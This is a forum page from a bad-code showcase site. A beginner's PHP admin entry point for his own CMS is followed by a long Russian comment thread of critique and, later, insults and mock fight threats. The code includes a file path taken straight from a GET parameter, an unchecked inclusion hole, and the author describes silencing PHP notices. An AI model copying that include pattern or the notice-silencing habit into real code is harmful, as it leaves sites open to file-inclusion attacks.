1. PHP / Говнокод #3752

    +143

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    $db = new sql_db($server_db, $user_db, $pass_db, $name_db);
    $db->sql_query("SELECT * FROM `".$prefix."_global` WHERE `name`='global';");
    $row = $db->sql_fetchrow();
    
    define("LANGUAGE_ADMIN","{$row['language_admin']}");
    define("MODUL_HOME_ADMIN","{$row['home_modul_adm']}");
    define("THEMA_ADMIN","{$row['thema_admin']}");
    
    require_once ("language/".LANGUAGE_ADMIN."/ind.php");
    
    if(IN_ADMIN){
    define("IN_ADMIN", TRUE);
    
    	if (!file_exists ("modules/".MODUL_HOME_ADMIN."/index.php"))
    	die (UNIT_NO_DEFAULT);
    	
    	if (isset($_GET ['am'])){ $MODULES = $_GET ['am']; }
    	else { $MODULES = MODUL_HOME_ADMIN; }
    
    	if (file_exists ("modules/".$MODULES."/index.php")) { 
    		require ("modules/".$MODULES."/index.php");
    	}
    	else{ echo UNIT_IS_NOT_FOUND; }
    	
    	if (file_exists (Subject_file_path)) {
    		$TEMPLATES_SITE = file_get_contents(Subject_file_path);
    	}
    	else{
    		echo SUBJECTS_NOT;
    	}
    
    	require(Connect_funct_temp);
    
    	echo $COD_TEMP;
    
    if(!check_user($UserID)) logout();
    
    } else { require(Authorisation_file_path); }

    Пишу CMS и просто интересно мнение... Код короткий, так как многое через define()
    И очень интересно Ваше мнение по нему, зачем define(), чтобы человек первый встречный не наизменял там чего, чтото типа защита от ламера, НО от ЛАМЕРА только) Просто программер так всё поймёт...

    Кароче я тут в первые, и поэтому я ХЗ чё вам сказать ещё))

    Запостил: nethak, 21 Июля 2010

    Комментарии (403) RSS

    • показать все, что скрытоЕсли кто то скажет что гавно т.к. неху*я не понятно, то, лично я ВСЁпонимаю, и через год пойму...
      А вот послушать советы буду очень рад! =)
      Ответить
      • Знаете, что будет через год? Вы выкините свой CMS, и напишите новый, с ноля, приговаривая "теперь-то я знаю как надо!".

        Так и будет
        Ответить
        • ага, а еще через полгода куски этой новой цмсины попадут на этот сайт.
          Ответить
          • ага)
            но вообще это нормально -- молодые программисты должны начинать в определенный момент писать свою CMS (свой фреймворк, свою супер-библиотеку, свой STL) а потом выкидывать в помойку.

            Так они получают опыт.
            Ответить
            • вот точно про меня ))
              тоже, поработав в жабе-ее с тапестри5, и потом волею судеб вернувшись к пхп, стало не хватать тапестри5. перепробовав наиболее популярные фреймворки, мне они не понравились, решил написать свой. Дело оказалось нетривиальным, и не раз пришлось поломать голову над удовлетворительными решениями некоторых задач. Даже пару раз, было, бросал фреймворк, и пару раз переписывал с использованием других идей. В итоге оно таки родилось и показало неплохие результаты, чем доволен до сих пор.
              И, извините, из нее не нахожу, чем обрадовать говнокод.ру = )
              Ответить
            • Вот вот как не странно я это понимаю, и ради этого пишу всё что в голову вбрендит))) Спасибо)
              Ответить
          • а еще через год автор, возможно, вообще перестанет использовать пхп.
            ибо насколько я понял говнокод либо лечит, либо калечит неисправимых вроде УебКилла
            Ответить
            • >>либо калечит неисправимых вроде УебКилла
              и луре оф каос
              Ответить
            • Ну это вряли, я учится собрался на Индженера Асоиу, программирование всю жизнь манит)) Я занимаюсь тем что люблю, и работаю темже)
              Ответить
              • я имел ввиду (как уже было кем-то тонко подмечено на данном сайте)
                через год вы перестанете использовать пхп и займетесь программированием
                Ответить
                • Хм, ну вот мне тока ПХП нравится, неужели это не достойный внимания язык? Меня вот тока к WEB программироваию тянет и что? Так и буду на PHP HTML CSS MySQL и прочее.
                  Ответить
                  • 2 года еще не прошли
                    + я не предсказываю будущее именно потому там кейворд "возможно"
                    Ответить
                    • Иногда это занимает больше времени. Мне стало невмоготу на php после пяти почти что лет. А кто-то сидит на нем десятилетие.

                      Забавнее смотреть на людей, которые уходили в java, или .net и пытаются потом принести в PHP collections framework например.
                      Ответить
                      • а мне захотелось иметь в PHP фреймворк с идеями из Tapestry 5
                        Ответить
                    • а возможно я не прав и вы доведете свою цмс до релизного состояния и заработаете на ней кучу бабок.
                      Ответить
                      • и её куски сюда будет постить кто-то другой :)
                        Ответить
                      • а как конкурировать с нынешнеми монстрами типа Зенд? нужна гениальная идея, что бы померяться зубами с акулами
                        Ответить
                        • Да но парой юзеру важнее ЮЗАБИЛИТИ а не какой фрейворк и прочее... Можно обойти в другом, и получить за это пользователей. Я не прав? Я по началу когда то давно искал простоту красоту функционал удобство! И хуй клал на всё это.
                          Ответить
                          • Юзеру важнее юзабилити. Но ему так же хочется, что бы он мог попросить "а выведи вот тут вот такое-вот", и получить это в течение трех дней, а не через две недели и с пачкой багов (потому что пришлось переписать пол системы). Именно ради гибкости изначально и задумывался правильный дизайн.

                            Я не предлагаю тратить человекогод на вылизывание системы, просто думать над архитектурой тоже нужно.
                            Ответить
                            • Хм но я думаю! На то классы, и функции... На то правельный класс работы с бд, зохочешь это? Да пожалуйста, ваще у меня всё хранится в БД, аработать с ней не проблема с хорошо написаным классом. Верно? А дизайн уже есть дизайнеры его разрабатывали. Безопасность сессии куки капча всё есть это.
                              Ответить
                              • я имел ввиду дизайн системы.

                                А что такое "класс работы с бд"? Data Access Object?
                                Ответить
                                • Ты не знаешь что такое класс???!
                                  Ответить
                                  • а ты?:)

                                    просто под эфемизмом "класс работы с базой данных" кто-то подразумевает класс абстракции от БД, а кто-то -- ООП обертку типа твоего sql_db (отличный кодстайл, кстати!!)))

                                    В первом случае в нем есть смысл.
                                    Во втором гораздно меньше
                                    Ответить
                              • юзабилити это что бы юзер не ломал голову что значит "системная ошибка апгрейда патча, пытаться еще?" и что бы ему не надо было лезть через три страницы что бы нажать заветную кнопочку, потом лезть обратно что бы посмотреть результат

                                ну и конечно точки расширения
                                Ответить
                                • Ага а то я не знал, у меня уж точно не так.... Блин ребят но от куда стока вывода из моего первого сообщения в посте??? От куда скажите? Я уже тут и школота, и далбаёб, и кто тока я тут небыл. Реально субъардинации у некоторых 0, и чё мне 18 лет чтоли? -)))
                                  Ответить
                                  • кстати, а скока Вам?)
                                    Ответить
                                  • > Реально субъардинации у некоторых 0
                                    и что по-русскому за год в Вас? а по литературе?
                                    Ответить
                                    • Да... Ладно я промолчу, ибо эмоции меня переполняют.
                                      Ответить
                      • Я не знаю кто прав кто нет, просто я вас слушаю, и делаю выводы, советов много дали, гдето чушь несут, гдето за дебила держут))
                        Ответить
                        • >>> гдето чушь несут, гдето за дебила держут))
                          минусуй таких, причем смело
                          Ответить
                          • показать все, что скрытоМне и так срать. Я слушаю полезности, я сказл что буду писать значит буду, хоть ёбните меня во дворе. Адрес сказатЬ? )))
                            Ответить
                            • "хоть ёбните меня во дворе. Адрес сказатЬ? )))"
                              а жена не будет плакать? )))))))
                              Ответить
                              • ёбните его палкой, остановиться не может, не видите чтоли
                                Ответить
                                • зачем? он сам убьется об стену
                                  Ответить
                                • Тебя не ёбнуть? Во дебил я херею! За языком следи!
                                  Ответить
                                  • Попутал? Следи за базаром, сявка!

                                    LOL
                                    Ответить
                                    • Слыш бревно. Ты быдло чтоли реально? Ты чё несёшь урод!
                                      г. Сургут 33 микрарайон! Я от сюда. Номер телефона назвать!? Скажи мне это по телефону! Вы чё реально гоните!
                                      Ответить
                                    • показать все, что скрытоПапутах, абасрюкал! Тьфу во гопота я херею.! Чё за время!? Кто сявка я? Мде, кароче тут с тобой всё ясно. Дверь там пшёл от седа.
                                      Ответить
                                      • Ответишь. За Барсово у развилки в 23:45 22/07. Братву бери, серьезно говорить будем. \m/

                                        LOL
                                        Ответить
                                        • показать все, что скрытоУГАГА! Слышь ты! Какая братва!? Очко загипело? Один боишься или как? Одному слабо? Пугать будешь? Ты э? У барсово, в городе мля я живу в 33 микрарайоне, в доме 39 на 30 лет победы. Давай хули. За барсова на развилке, ты по ходу малолетка да? Раз за слова один ответить не можешь!
                                          Ответить
                                        • показать все, что скрыто:-DDD Я не могу в 23:45, дебил скажи свой адрес, или номер телефона, с тобой поговорят. НУ? Давай я жду. Храбрец бля. С толпой он, я уже вижу что ты не мужик раз испугался меня и прячешься за толпу и на отшибе, так что делай вывод ПЕТРОСЯН!
                                          Ответить
                                        • Мде реальная малолетка, ты меня развеселил реально очень! Лет то сколько? Номерок мне свой скажи я с тобой свяжусь, или свой сказать?
                                          Ответить
                                        • Чё, давай, иопт. Орхус, за Борум-Лингби, я буду в очках и с журналом Theoretical Computer Science
                                          Ответить
                              • Ты на приколе?
                                Ответить
        • Не спорю... Только я ниже написал что она уже большая, я её только улучшать буду =) А с нуля, что я столько месяцев зря тратил)
          Ответить
          • ага, скорей всего зря. Чем она лучше других?
            а впрочем нет, не зря. нахлебаетесь, шишек набьете, тот же бесценный опыт.
            хотя, как говорится, умный все же на чужих ошибках учится.
            Ответить
            • Нес спорю... НО ПОЙМИТЕ ВЫ! Я люблю это дело, бессоные ночи, я делаю то что люблю делать) Это моё просто вот и всё) Она не чем пока не лучше других... Хотя нет лучше таких типа как чайник там и всякое гавно...
              Ответить
              • честно скажу, по своему опыту. пока не поздно, не сидите вы за этим компом бессонными ночами, даже если нравится. Если нравится работать, учитесь, а потом работайте, что бы работа приносила удовольствие, а свободное время на это тратить не стоит. Лучше отдыхайте активно, спорт, друзья, девушки.
                а иначе, как я, превратитесь в компового червя и наживете проблем на свое здоровье. Вам это надо?
                Ответить
                • Хм, я не задрот как вы подумали. У меня жена, у меня работа, скоро учёба, да график загруженный, я сплю по прау часов в сутки, жене размеется время уделяю, бывает ваще не сплю сутками....
                  Ответить
                  • > бывает ваще не сплю сутками
                    сломаетесь

                    > жене размеется время уделяю
                    а как сломаетесь, не будет сил
                    Ответить
                    • :-DDD Эх как всё очевидно, если интересно порой я высыпаюсь, и снова живой)
                      Ответить
          • Что бы улучшать -- надо рефакторить. Что бы рефакторить -- надо делать юнит-тесты. Что бы делать юнит-тесты -- надо выносить запросы к БД из функции с бизнес-логикой.

            Так что переделывать прийдется многое
            Ответить
            • Я с БД кмс и так работает, это хранилище,я говорю, у неё написана уже очень много... Прости, а что такое:
              >>запросы к БД из функции с бизнес-логикой.
              Ответить
              • Пачка ифов у тебя в программе это и есть твоя бизнес-логика.
                Но оперирует она живыми данными -- в нее вшиты пути к файлам, которые она проверяет, в нее вшит SQL запрос итд.

                Тоесть если ты решишь ее протестировать (покрыть ВСЕ возможные случаи) тебе прийдется создавать/удалять файлы, заполнять базу разными данными итд.

                Если тебе где-то надо будет сделать такую же логику (но с другими файлами) -- ты скорее всего ее скопипастишь.

                Так вот, логика должна быть чистой. Тогда ее легко будет переносить и тестировать.
                Чуствую себя Капитаном Очевидность. почитай лучше про юнит-тесты, например) Обычно они сподвигают писать красиво
                Ответить
            • и еще надо что бы кто-нибудь помогал. а то "глаз замыливается"
              Ответить
              • Мне помогают. 1 программер и дизайнеры, и люди которые советуют чего хотят в ней видеть такого, чего нет в других.
                Ответить
    • WTF?
      if(IN_ADMIN){
      define("IN_ADMIN", TRUE);
      }
      И на кой использовать "{$varname}", когда достаточно просто $varname? (5, 6, 7 строки).
      Через год сами поймёте, что весь этот кусок — ужас-ужас.
      Ответить
      • Не спорю... А так написал, скорее ради красоты) конечно лучше так:
        define("LANGUAGE_ADMIN","$row['language_admin']");

        это я вас не понял. WTF?
        это константа для работы админки, если фальсе то доступа нет...
        Ну а в целом?
        Ответить
        • для такой цели вообще лучше не пользоваться константами
          Ответить
        • Да нет, я имел в виду, что переменную вообще зачем переменную загонять в кавычки, когда нужно получить только её значение. А в строке-то как раз лучше использовать фигурные скобки, чтобы не было двусмысленностей.
          WTF по поводу того, что если константа уже определена, зачем пытаться её переопределить? А условие if(IN_ADMIN) подразумевает как раз то, что эта константа уже определена.
          В целом с моей точки зрения плохо.
          Ответить
          • if(IN_ADMIN) Это да определена, это if с которого начинается админ панель, чтобы не получить без автоизации доступа к админке, во всех других файлах стоит я устанавливаю FALSE и тем самым else нам выдаёт окно авторизации)) Ну как ещё то без неё?
            Ответить
            • Проблема в другом. Константа уже есть, вы проверяете её значение, и если там true, первым делом снова определяете её как true. Зачем? :)
              У вас уровень ошибок E_ALL стоит или E_NOTICE не выводятся?
              Ответить
              • показать все, что скрытоУ меня стоит чтобы не выводились предупреждения, я акто написал модуль для джумлы, он работает на ура, НО предупреждений было уйма, я тогда понял что можно вырубать это...
                Ответить
                • И это одно из главных зол, за которое к тому же надо бить линейкой по рукам.
                  Нужно искать и устранять причину ошибок, а не затыкать сообщения о них.
                  Ответить
                • не нужно так делать) старайтесь писать код, который не кидает нотисов
                  Ответить
                  • Да но вот пример, я на денвере написал всё пашет работает нет ошибок всё верно! А на хост вылел он стал ругатся на строки типа:
                    define("ИМЯ","ЗНАЧЕНИЕ"); - На что тут ругатся скажите? На константы? Почему локалка не ругалась? А если у них в php.ini чтото выключенно? И что тогда? Уходить с хостинга? Уж проще заткнуть. Но переппроверив всё сотню раз, под всеми ракурсами и углами.
                    Ответить
                    • Как именно он ругается? Что пишет?

                      Вам следует врубить в своем денвере все E_ALL.

                      Я вообще противник денвера, но это -- холивар
                      Ответить
                      • Точно, Денвер — зло, но хорошо, что очень многие это понимают достаточно быстро :)
                        Ответить
                        • когда у них переполняется файлик hosts и все виснет))

                          А вообще благодаря поделке котерова на свет родилась целая плеяда php-разработчиков, которые никгда в глаза не видели ни httpd.conf ни php.ini.

                          И это грустно
                          Ответить
                          • а благодаря пхп развелись кодовые индообезьянки, как плесень от сырости. И что, нужно отцензурить пхп?

                            самое главное не быть самому таким = )
                            Ответить
                        • Приведите причину зла?
                          Ответить
                          • Одна из причин — разработчики не понимают, как работает их инструмент.
                            Вторая причина — то, что прописывается в пару строк в конфигурации при нормальной установке (отдельно веб-сервер, отдельно php, отдельно СУБД) в Денвере часто оборачивается непонятными танцами с бубном, причём прописывание «пары строк в конфигурации» уже перестаёт работать.
                            Ответить
                            • хм... Честно я сталкивался даже с таким, когда на денвере всё не пашет, а на хостинге пашет... Тут просто видите я не сис админ, и хз как свой сервис настроить. НАСТРОИТЬ! А сделать могу. Делал. Но гавно гавном. А денвер хоть через коленно но настроен всё же(
                              Ответить
                              • Ну вот. Я тоже не сисадмин, но те вещи, которые мне нужно было настроить (ничего из ряда вон выходящего), достаточно быстро нашёл в документации. Те же 10–15 минут, но плюс к этому приобретается нормальное знание и понимание, что делалось и как оно работает.
                                Ответить
                                • 10 лет назад perl-программер прекрасно заходил по ssh на бзд сервер, ставил себе там апаче из портов, ставил перл с нужными модулями и выкладывал свою CGIку.

                                  Как же изменился этот мир.
                                  Ответить
                                  • А ты как хотел.
                                    Ответить
                                    • не знаю. В гугле и яндексе по прежнему сидят ребята, способные пропатчить веб-сервер, даже если они пишут на питоне например
                                      Ответить
                      • Проблема возникла только на NIC.RU но тока с ДЖУМЛОЙ увидел такое, может что фреймворк может чтото ещё хз. Про E_ALL уяснил спасибо..
                        Ответить
                      • а что хорошо? хампп? или ипаться каждый раз с конфигой апача, пхп, мускула и прочего того, что надо?
                        денвер автоматизирует работу.

                        Или вы скажете, что белье надо стирать руками, а не в стиральной машине?
                        Ответить
                        • В стиральной конечно, а ещё лучше когда в неё ктото всё сложет и включит. Вывод. Должна быть полная автоматизация.
                          Ответить
                          • да, но только нельзя думать, что это чудо и волшебство
                            Ответить
                            • Нет реально абсолютно всё в этом мире.
                              Ответить
                        • 1) установка всего хозяйства занимает у меня примерно минут 10-15, мне не жалко. Я же не из сырцов компилирую.
                          2) Потом можно списать на флешку и год юзать (пока не прийдет время обновить): кстати, как там у денверов с обновлением?
                          3) Я не против ситуации, когда денвер юзает профи. Я против, когда ребенка сразу сажают на денвер, и он потом не понимает что такое "виртуальный хост".
                          Ответить
                          • 1. а мне таки жалко
                            2. очень неважно, недавно обновили пхп до 5.3, а 4ый все еще "скоро на экранах"
                            3. здесь полностью согласен.
                            Ответить
                          • Установка ДА! НО настройка дело другое...
                            Ответить
                            • установка или установщиком или распаковать архив, здесь и правда несложно. А править конфиги дааа ;)
                              Ответить
                              • Я про тоже.
                                Ответить
                                • на самом деле это был сарказм. тут сложного ничего нет. разве что утомляет, если делать это часто
                                  Ответить
                        • Я скажу, что белье надо стирать в машине, но при этом было бы неплохо, когда машина начинает пищать, подумать, что происходит, и нажать правильную кнопочку, а не биться головой о кафельный пол в истерике (а именно к такому и подталкивает denver aka xampp aka хз еще что)
                          Ответить
                • >>>я тогда понял что можно вырубать это...
                  о ДА ))))
                  первый шаг сделан....
                  Ответить
                  • Ага сделан, тока ты наверно намекаешь что в пропасть? А вот скажи такая ситуация, на тебе десятки заказов, ты бегаешь от одного к другому... Ты не успеваешь. Ты написал что надо было. Но там типа предупреждение. У МЕНЯ ВРЕМЕНИ НЕБЫЛО. Я вырубил и что? Рузультат ли не главное? Главное чо работает. Вот ив сё, делая чтото для себя, или когда время есть, да не спорю тупой постпок, но не тут.
                    Ответить
                    • ну так все зависит от главной цели - разобратся и написать нормально или сделать побольше и побыстрее.
                      я видел парней экранирующих абсолютно весь свой код try+пустыми catch(Exception ) или писавших в кажой функции в VB On Error Resume Next - досихпор смешно
                      агрументировавших - зато не падает нигде
                      Ответить
                      • А кто торопится в принципе? Я уже третий месяц, хотя вот честно могу уже сейчас вылажить её. НО нахера когда можно всё дописать и улучшать.
                        Ответить
                    • а вот еще в том же VB Option Explicit - запрещает писать переменные без их объявления, многие тоже затыкают это, тем более по дефолту оно выключено.
                      а потом лазят и ищут почему в их переменную cmd1, к примеру, ниче не записалось.
                      А все потому что он написал c - русскую, привет 1Сникам!,а компилер схавал это как новую переменную
                      Ответить
    • а вот эта г require(Authorisation_file_path); и похожее, Authorisation_file_path - эт че, тож константы?
      Ответить
      • да я же писал, лично я разберусь... Но так тупое существо любопытное, которое полезет в код, нехера не поймёт что где к чему) поэтому решил применить константы. а как вы посоветуете константу заменить на чтото другое? Без них было бы херова туча строк))
        Ответить
        • во первых, по соглашению константы БОЛЬШИМИ буквами. Во вторых, лично бы я не стал заводить константы для абсолютно всех путей. хватает, общих, вроде как в index.php определить, скажем, define('APP_PATH',dirname(__FILE__).'/application'); и дальше юзать require_once(APP_PATH.'/path/to/file.php');

          а еще лучше полностью изменить подход, вынести логически связанные части в классы и пользоваться class autoloading в духе Zend Framework. И будет у вас красивый, хорошо структурированный код. А то наклепаете такой ужас, что через месяц откроете для добавления плюшек и сами испугаетесь что-либо менять.

          учимся, учимся... книжки, туториалы и чужие ошибки (исходники известных продуктов, фреймворков и цмс)
          Ответить
          • Да спасибо большое... Тут Вы правы, я работаю web программистом и разработчиком сайтов, и знаете, по началу, покуда верстал не ахти, откроешь порой те сайты, в код глянешь, и честно на нескольких проектов глаза выпадывали, и думал ёмаё я не мог такое гавно написать))) Но идёт время приходит опыт, и мастерство, сейчас какой не открой кросбраузерность, чистый красивый код, даже смотреть приятно...
            Сэтим тоже самое думаю будет))
            Учусь учусь, и развиваюсь =)
            Ответить
            • и еще вопрос, если можно. Если вы только начинаете программировать, почему сходу беретесь делать такую достаточно сложную задачу, как построение CMS? имхо лучше начать с чего-то более простого, обычных страничек, которые потом, с высоты опыта, отправите всем посмеяться на говнокод
              CMS требует опыта и тщательной продумки, а вот по неопытности нагородите чуши, которой пока не видите, и будет у вас все криво и медленно, в конце концов забросите свой проект - потеряете силы, время, а может и веру в себя как программиста

              Если вам нужен CMS позарез, возьмите готовую, которую разрабатывал не один программист и длительное время - стало быть, там большинство ошибок и неверных решений поменьше
              Наверное, спросите меня, какую цмс взять? порекомендую http://cmsmadesimple.ru как наиболее понятную для пользователя среди самых популярных
              Ответить
              • Эммм.
                1. Это своё, своё ближе к телу.
                2. Это коласальный опыт, пусть я выпущу 10-20-30 версий, и каждая всё лучше... лучше... лучше... Так будет приходить опыт и знание... опыт и знание... опыт и знание... опыт и знание...... Я понимаю может странно, я понимаю что может и гавном занимаюсь по началу но я учусь) И спасибо большое тем кто подсказывает)
                Ответить
                • стало быть
                  1. потешить свое самолюбие, мол, я крутой
                  2. реальные проекты на ней не встанут. А дотянуть до хорошего качества в одиночку вам сил и времени не хватит, она морально устареет к тому времени. надо набирать сообщество, кодеров, тестеров, дизайнеров и маркетологов )
                  Ответить
                  • >>>надо набирать сообщество, кодеров, тестеров, дизайнеров и маркетологов

                    гы)))) именно так и получаются говенные комерческие цмс, которые не нормально проектируются с нуля, а получаются как дописывание/переписывание говна
                    Ответить
                  • Дизайнеры есть, помошник программист хороший есть.
                    Я не тешу самолюбие, и делаю её для себя. А вот про проекты Вы зря, встанут, уже есть крупный заказ. И там нужна своя КМС...
                    Ответить
                    • мамо... умоляю вас, не ешьте на ночь сырых помидоров не делайте на ней сразу крупный заказ, а возьмите готовую. Потому что своя еще молодая и неопытная, а отвественность большая. Скажем, выяснилось, что ваша цмс где-то падает (а ведь выяснится обязательно, рано или поздно!) и тормозит. Конечно, кинетесь исправлять, но на исправление уйдет время, которое, как говорят, деньги, и деньги немалые (раз крупный заказ), а в итоге рискуете не справиться с проблемой, потому что:
                      1. опыта маловастенько
                      2. помощи ждать неоткуда, потому что никто в вашей цмс нихера не поймет, им-то свое "ближе к телу"

                      говорю не просто так, сам однажды напоролся
                      Ответить
                      • Я выше писал, с тем что работаю я не один =)

                        Дизайнеры есть, помошник программист хороший есть.
                        Я не тешу самолюбие, и делаю её для себя. А вот про проекты Вы зря, встанут, уже есть крупный заказ. И там нужна своя КМС...
                        Ответить
                        • повторять не буду, что необьезженных кобылиц в карету не запрягают. Вспомните судьбу "несокрушимого" "Титаника". Но мне интересно, каковы у вас будут потом результаты ))
                          Ответить
                    • Точнее заказы... Вот я и пишу ночами напролёт.
                      Ответить
          • А за совет с константами спасибо, да вы правы, для ЛАМЕРА хватит определения пути к конфигурационным файлам, а ламер и этого не поймёт... А в обще я так подумал, влезит ламер, сломает, ху* с ним его проблемы что всё полетит)) Я тут недавно стал лазить на сайте, и знаете сайт полезный реально, и поржать, и урок полезный изъять, огромное спасибо за коменты.
            Ответить
            • я не понял, вы для кого пишете? для кого то или для себя? ой, рискуете себя же перехитрить
              кстати, поставьте там себе на будущее в программу изучения безопасность пхп-скриптов. Причем, не кидайтесь сразу в эту тему, наберитесь опыта в основах
              Ответить
        • Настоящее искусство программирования — это написать большую и сложную программу так, чтобы она была понятна даже тупому существу любопытному. Причем более лаконичная и простая прога зачастую работает более производительней, чем мудреная. Примеров этого на ГК свыше 9000.
          Ответить
          • показать все, что скрытопока окончательно не заминусовали, рискну ответить:

            > ...чтобы она была понятна даже тупому существу любопытному
            тупое существо неспособно понять, ну скажем, преимущества ООП подхода, MVC-архитектуры и прочего, оно будет кричать "нахера тут так сложно!?", а макаронный говнокод, где свалено все в одну кучу, будет понимать кое-как

            > более лаконичная и простая прога зачастую работает более производительней, чем мудреная
            конечно, один таракан спрячется быстрее, чем полчище рассуется по углам, то есть, ПРОСТАЯ программа будет работать быстрее сложной, а СЛОЖНАЯ(более функциональная) вряд ли будет быстрее и понятнее хелловорлда.

            Хотя, конечно, и простое можно сделать (через ж)сложно
            Ответить
          • > чтобы она была понятна даже тупому существу любопытному.

            Зачем? Чтоб над проектом работали тупые любопытные?
            Как говаривал Эйнштейн, делай как можно проще, но не проще этого. А тупое существо и проще этого запросить может.
            Ответить
            • > делай как можно проще, но не проще этого
              вот я как раз о том же. видать меня не поняли.
              Ответить
              • Ты сказал, делай так чтобы понял самый тупой, но это не обязательно "как можно проще, но не проще этого". Не стоит равняться на тупых. Надо равняться на умных.
                Ответить
    • Почитайте-ка про паттерн MVC, например. И вообще про отделение логики и доступа к данным.
      А еще "рефакторинг" Фаулера, про запахи кода, например про дублирование.

      А то чуть-чуть писать научились и уже CMS.
      Ответить
    • и вообще, зачем CMS "с грядки", если их готовых более, чем предостаточно? Чем существующие так провинились?
      вряд ли получится изобрести действительно что-то революционное
      Ответить
    • Хм... Я конечноне супер программер... НО, я же вам не показал то что я типа только единственноенаписал...
      У меня уже готова защита, модули новости, страницы, конфигурации сайта и системы, конфигурации капчи... Есть класс работы с БД, и есть шаблонизатор, да пусть простой, но есть, шаблоны устанавливаются и прочее...
      Тут дело в другом, зачем покупать трусы? У папы берите у брата, ведь уже есть готовое? Вы купите так как оно СВОЁ, а своё ближе к телу... Я пишу давненько, ЦМС пишу третий месяц, думаю о безопасности, и думаю о юзабилити, работаю с дизайнерами... Тут самое главное это коласальный опыт, у меня десятки проектов стоят на джумле, на вордпресе, на антисладе.... НО когда своё знаете оно своё как не крути...
      К примеру когда я не знал что такое CRM, но написал, пришлось работа, написал взаимодействие с ней, а именно это поиск по критериям множественным... И опятьже нах я брался? НО взялся, написал и опыт получил, теперь знаю как...

      Тут Вы понимаете о чём я)
      Ответить
      • Надо из них брать лучшее, если они вас не устраивают чем-то, а не переписывать функциональность, которая у вас выйдет на порядок хуже чем в средней CMS. Я бы взял к примеру Doctrine в качестве ORM..
        А вообще лучше поглядите на демки Symfony, Ez Components, Doctrine
        Ответить
        • Ну возьму я и что? Что это будет? Я понимаю открытый код, но получается украл чейто труд. И как я получу опыт ворую всё и у всех самое лучше? Наворую у джумлы, у ворпреса, у всего, слеплю кашу, огромную. И? Вот и вышло гавно, а это пусть гавно по началу, но с нуля и сам написал =) Точнее пишу) И буду писать)
          Ответить
          • воровать надо. но что б не поймали с умом. Не у кого что хуже, а у кого лучше. Все равно, придумать сложнее, чем взять
            Ответить
          • У вас есть гениальная и свежая идея? лучший алгоритм? Очевидно что нет. Поэтому в вашем случае надо только брать и изучать хорошие подходы и архитектуры. Каша - это то, что вы написали.
            Ответить
            • А кто спорит что я пишу просто апупенную систему? Я согласен получается не ахти. Моя задача админка, в которой есть возможность добавление новостей, статей, страниц, админов, и прочего, настраивать сайт полностью, и прочее, имеется шаблонизатор, установка модулей и шаблонов... И всё это работает и не капли не тормозит. Защита сесии, и всё под один глаз, нет копипаста и прочего говна... Я не сказал ещё раз говорю что я пишу чудо, НО я хочу написать своё, и работая с людьми, слушаю чего они хотят от кмс, и воплащиваю всё в реальность... Всё получается и я доволен)
              Ответить
              • >>нет копипаста и прочего говна
                В приведенном тобой куске 30% копипасты
                Ответить
              • Как я понимаю ваша задача в первую очередь визуальная и функциональная часть CMS. Которую вы бы успешно разрабатывали возьми какой-нибудь приличный фреймворк. А сейчас вы занимаетесь по большей части всем, кроме написания именно самой CMS. В итоге у вас получится и не фреймворк, но слабая CMS, которую сложно расширять из-за плохой архитектуры. Тут мы не спорим, а просто спрашиваем вас, вы это осознаёте? Если да, то в любом случае удачи вам =)
                Ответить
                • Нет видимо осозноваль плохо. Я не думал про фреймворк на столько серьёзно. Задумался. Спасибо.
                  Ответить
              • Вот как человек 100 там зарегается (или хотя бы 50), там и посмотрим тормозит или нет ;)
                Ответить
              • Ну как, написал?
                Ответить
            • кстати, на поверку "гениальные" идеи обычно просто идиотичны. Мне понравилась восточная поговорка:

              Если у вас есть ценная мысль,
              Пейте чай.
              Если после чаепития мысль осталась,
              Вероятно, она имеет какую-либо ценность.
              Однако,
              Если вы выпили чая, а мысль осталась,
              Возможно, вы просто не научились пить чай.
              Ответить
              • Красиво сказано, но дело в другом, я хочу учится и буду учится.
                Ответить
                • а я не про вас - у вас же нету гениальных идей, а в другую тему.
                  Ответить
                  • Ну да я дебил ага, я ваще не чё не думаю =) Решал всё спиздить как у всех ;-)
                    Ответить
                    • гениальных я имею ввиду правда гениальных, свежих.
                      а существующее, возможно, тоже гениальное, надо изучать - неважно каким способом добыто
                      и думать, думать, что же у "всех" лучше, а что хуже
                      Ответить
              • ого, неплохо

                кстати гениальность зачастую гранчит с безумием.
                вспомните Энштейна, ну кто бы мог подумать что масса и длина быстро двужущегося тела возрастают, а время замедляется
                это ж абсурд и идиотизм с точки зрения житейской логики и ньютоновской механики
                Ответить
                • во сне мне нередко снится некий бред. Или интересные мысли\диалоги, или стихи сочиняю, или юмор.
                  просыпаюсь в 3 ночи, жалею, что негде записать. Засыпаю вновь, приходит утро, и понимаю, что хорошо, что не записал ))))
                  Ответить
              • По причине табуирования гашиша эти восточные поговорки умалчивают о том, насколько основательно раскуриваются за чаепитием. Человеку с запада придется хорошо подумать, чтобы вспомнить свое имя.
                Ответить
                • оставим гашиш ценителям, "нам не нужно все это, что бы друга понять.. сигарета в руках, чай на столе..." (ц)
                  Ответить
                  • Это относится к восточному чаепитию (даже если допустить, что не курят) примерно как Java к JavaScript. Если нужна простая аналогия - взять 0,7 и посидеть на кухне. Не так восточно-красиво, но по смыслу ближе.
                    Ответить
          • Кстати, Вы смотрели фреймворки вообще? zend? phpcake?
            Ответить
            • + symphony? codeigniter? kohana?
              Ответить
              • Фреймворки? И что?
                Ответить
                • А смотрел ли я их? И да и нет, смотрел но не прикручивал к кмс..
                  Ответить
              • да, можно написать свой CMS, но на крупном фрейм-ворке. Получится лучше. во всяком случае, прийдется делать MVC
                Ответить
                • или (что больше понравилось) Model View Presenter (MVP), плюс Passive View
                  Ответить
                • А вот к примеу джумла.... У неё всё похоже на adob чтоли так он называется, а джумла вся с нуля ли?
                  Ответить
                  • она с мамбы кажется.

                    Вообще джумла -- не лучший cms (как и бОльшая часть старых опенсорсных php цмсов).
                    Ответить
                    • Ну вот видите! А миллионы говорят ЛУЧШАЯ! И тоже из чего то вышла! ТАк нахуя человеку который занялся этим серьёзно, говорить о том что ты пишешь гавно? Все начинали гавно писать. Вспомните первый релиз джумлы!ХУЙНЯ ИЗ ПОД КОНЯ! Что не так?
                      Ответить
                    • Drupal? x_x
                      Ответить
